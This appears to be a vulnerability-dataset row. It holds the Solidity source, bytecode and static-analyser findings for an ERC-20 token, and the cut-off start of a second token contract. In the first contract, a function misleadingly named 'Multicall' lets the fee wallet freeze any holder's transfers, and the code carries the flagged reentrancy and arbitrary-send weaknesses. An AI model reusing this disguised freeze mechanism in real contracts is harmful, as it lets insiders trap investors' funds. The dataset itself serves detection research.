// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MyHeroAcademia is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"MyHeroAcademia"; ////
string public constant symbol = unicode"MHA"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 6;
uint public _sellFee = 10;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105a3578063db92dbb6146105b8578063dcb0e0ad146105cd578063dd62ed3e146105ed578063e8078d941461063357600080fd5b806395d89b4114610529578063a9059cbb14610558578063b2131f7d14610578578063c3c8cd801461058e57600080fd5b8063715018a6116100dc578063715018a6146104b65780637a49cddb146104cb5780638da5cb5b146104eb57806394b8d8f21461050957600080fd5b8063509016171461044b578063590f897e1461046b5780636fc3eaec1461048157806370a082311461049657600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a457806340b9a54b146103dd57806345596e2e146103f357806349bd5a5e1461041357600080fd5b806327f3a72a14610332578063313ce5671461034757806331c2d8471461036e57806332d873d81461038e57600080fd5b80630b78f9c0116101c15780630b78f9c0146102c057806318160ddd146102e05780631940d020146102fc57806323b872dd1461031257600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f61461026e578063095ea7b31461029057600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4d794865726f41636164656d696160901b81525081565b60405161021e9190611bcd565b34801561027a57600080fd5b5061028e610289366004611c47565b610648565b005b34801561029c57600080fd5b506102b06102ab366004611c64565b6106bd565b604051901515815260200161021e565b3480156102cc57600080fd5b5061028e6102db366004611c90565b6106d3565b3480156102ec57600080fd5b50683635c9adc5dea00000610214565b34801561030857600080fd5b50610214600f5481565b34801561031e57600080fd5b506102b061032d366004611cb2565b610756565b34801561033e57600080fd5b5061021461083e565b34801561035357600080fd5b5061035c600981565b60405160ff909116815260200161021e565b34801561037a57600080fd5b5061028e610389366004611d09565b61084e565b34801561039a57600080fd5b5061021460105481565b3480156103b057600080fd5b506102b06103bf366004611c47565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e957600080fd5b50610214600b5481565b3480156103ff57600080fd5b5061028e61040e366004611dce565b6108da565b34801561041f57600080fd5b50600a54610433906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045757600080fd5b5061028e610466366004611c47565b61099e565b34801561047757600080fd5b50610214600c5481565b34801561048d57600080fd5b5061028e610a0c565b3480156104a257600080fd5b506102146104b1366004611c47565b610a39565b3480156104c257600080fd5b5061028e610a54565b3480156104d757600080fd5b5061028e6104e6366004611d09565b610ac8565b3480156104f757600080fd5b506000546001600160a01b0316610433565b34801561051557600080fd5b506011546102b09062010000900460ff1681565b34801561053557600080fd5b50610261604051806040016040528060038152602001624d484160e81b81525081565b34801561056457600080fd5b506102b0610573366004611c64565b610bd7565b34801561058457600080fd5b50610214600d5481565b34801561059a57600080fd5b5061028e610be4565b3480156105af57600080fd5b5061028e610c1a565b3480156105c457600080fd5b50610214610cbe565b3480156105d957600080fd5b5061028e6105e8366004611df5565b610cd6565b3480156105f957600080fd5b50610214610608366004611e12565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063f57600080fd5b5061028e610d53565b6008546001600160a01b0316336001600160a01b03161461066857600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106ca33848461109a565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f357600080fd5b600a82111561070157600080fd5b600a81111561070f57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078457506001600160a01b03831660009081526004602052604090205460ff16155b801561079d5750600a546001600160a01b038581169116145b156107ec576001600160a01b03831632146107ec5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f78484846111be565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610826908490611e61565b905061083385338361109a565b506001949350505050565b600061084930610a39565b905090565b6008546001600160a01b0316336001600160a01b03161461086e57600080fd5b60005b81518110156108d65760006006600084848151811061089257610892611e78565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ce81611e8e565b915050610871565b5050565b6000546001600160a01b031633146109045760405162461bcd60e51b81526004016107e390611ea7565b6008546001600160a01b0316336001600160a01b03161461092457600080fd5b600081116109695760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e3565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b2565b6009546001600160a01b0316336001600160a01b0316146109be57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b2565b6008546001600160a01b0316336001600160a01b031614610a2c57600080fd5b47610a368161182c565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7e5760405162461bcd60e51b81526004016107e390611ea7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ae857600080fd5b60005b81518110156108d657600a5482516001600160a01b0390911690839083908110610b1757610b17611e78565b60200260200101516001600160a01b031614158015610b68575060075482516001600160a01b0390911690839083908110610b5457610b54611e78565b60200260200101516001600160a01b031614155b15610bc557600160066000848481518110610b8557610b85611e78565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bcf81611e8e565b915050610aeb565b60006106ca3384846111be565b6008546001600160a01b0316336001600160a01b031614610c0457600080fd5b6000610c0f30610a39565b9050610a36816118b1565b6000546001600160a01b03163314610c445760405162461bcd60e51b81526004016107e390611ea7565b60115460ff1615610c915760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e3565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a54600090610849906001600160a01b0316610a39565b6000546001600160a01b03163314610d005760405162461bcd60e51b81526004016107e390611ea7565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b2565b6000546001600160a01b03163314610d7d5760405162461bcd60e51b81526004016107e390611ea7565b60115460ff1615610dca5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e3565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e073082683635c9adc5dea0000061109a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e699190611edc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eda9190611edc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4b9190611edc565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7b81610a39565b600080610f906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101d9190611ef9565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d69190611f27565b6001600160a01b0383166110fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e3565b6001600160a01b03821661115d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e3565b6001600160a01b0382166112845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e3565b600081116112e65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e3565b6001600160a01b03831660009081526006602052604090205460ff161561135b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e3565b600080546001600160a01b0385811691161480159061138857506000546001600160a01b03848116911614155b156117cd57600a546001600160a01b0385811691161480156113b857506007546001600160a01b03848116911614155b80156113dd57506001600160a01b03831660009081526004602052604090205460ff16155b156116695760115460ff166114345760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e3565b60105442036114735760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e3565b42601054610e106114849190611f44565b11156114fe57600f5461149684610a39565b6114a09084611f44565b11156114fe5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e3565b6001600160a01b03831660009081526005602052604090206001015460ff16611566576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115769190611f44565b111561164a57600e548211156115ce5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e3565b6115d942600f611f44565b6001600160a01b0384166000908152600560205260409020541061164a5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e3565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611683575060115460ff165b801561169d5750600a546001600160a01b03858116911614155b156117cd576116ad42600f611f44565b6001600160a01b0385166000908152600560205260409020541061171f5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e3565b600061172a30610a39565b905080156117b65760115462010000900460ff16156117ad57600d54600a546064919061175f906001600160a01b0316610a39565b6117699190611f5c565b6117739190611f7b565b8111156117ad57600d54600a5460649190611796906001600160a01b0316610a39565b6117a09190611f5c565b6117aa9190611f7b565b90505b6117b6816118b1565b4780156117c6576117c64761182c565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180f57506001600160a01b03841660009081526004602052604090205460ff165b15611818575060005b6118258585858486611a25565b5050505050565b6008546001600160a01b03166108fc611846600284611f7b565b6040518115909202916000818181858888f1935050505015801561186e573d6000803e3d6000fd5b506009546001600160a01b03166108fc611889600284611f7b565b6040518115909202916000818181858888f193505050501580156108d6573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118f5576118f5611e78565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561194e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119729190611edc565b8160018151811061198557611985611e78565b6001600160a01b0392831660209182029290920101526007546119ab913091168461109a565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119e4908590600090869030904290600401611f9d565b600060405180830381600087803b1580156119fe57600080fd5b505af1158015611a12573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a318383611a47565b9050611a3f86868684611a8e565b505050505050565b6000808315611a87578215611a5f5750600b54611a87565b50600c54601054611a7290610384611f44565b421015611a8757611a84600582611f44565b90505b9392505050565b600080611a9b8484611b6b565b6001600160a01b0388166000908152600260205260409020549193509150611ac4908590611e61565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611af4908390611f44565b6001600160a01b038616600090815260026020526040902055611b1681611b9f565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5b91815260200190565b60405180910390a3505050505050565b600080806064611b7b8587611f5c565b611b859190611f7b565b90506000611b938287611e61565b96919550909350505050565b30600090815260026020526040902054611bba908290611f44565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bfa57858101830151858201604001528201611bde565b81811115611c0c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3657600080fd5b8035611c4281611c22565b919050565b600060208284031215611c5957600080fd5b8135611a8781611c22565b60008060408385031215611c7757600080fd5b8235611c8281611c22565b946020939093013593505050565b60008060408385031215611ca357600080fd5b50508035926020909101359150565b600080600060608486031215611cc757600080fd5b8335611cd281611c22565b92506020840135611ce281611c22565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1c57600080fd5b823567ffffffffffffffff80821115611d3457600080fd5b818501915085601f830112611d4857600080fd5b813581811115611d5a57611d5a611cf3565b8060051b604051601f19603f83011681018181108582111715611d7f57611d7f611cf3565b604052918252848201925083810185019188831115611d9d57600080fd5b938501935b82851015611dc257611db385611c37565b84529385019392850192611da2565b98975050505050505050565b600060208284031215611de057600080fd5b5035919050565b8015158114610a3657600080fd5b600060208284031215611e0757600080fd5b8135611a8781611de7565b60008060408385031215611e2557600080fd5b8235611e3081611c22565b91506020830135611e4081611c22565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7357611e73611e4b565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ea057611ea0611e4b565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611eee57600080fd5b8151611a8781611c22565b600080600060608486031215611f0e57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3957600080fd5b8151611a8781611de7565b60008219821115611f5757611f57611e4b565b500190565b6000816000190483118215151615611f7657611f76611e4b565b500290565b600082611f9857634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fed5784516001600160a01b031683529383019391830191600101611fc8565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122017774ec369a6e1b583d7d153a2cd8f3676e0790328e0c1e0bab22abd4f3d193964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,322 |
0x258cf530099c77a72bac898668ab40016588faa6
|
/**
*Submitted for verification at Etherscan.io on 2022-03-16
*/
//Telegram - https://t.me/Shibelona
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIBELONA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ShibElona";
string private constant _symbol = "SELONA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xfAaa67Eb856a1A00B5328096316A801dA4e0c5C5);
address payable private _marketingAddress = payable(0xfAaa67Eb856a1A00B5328096316A801dA4e0c5C5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
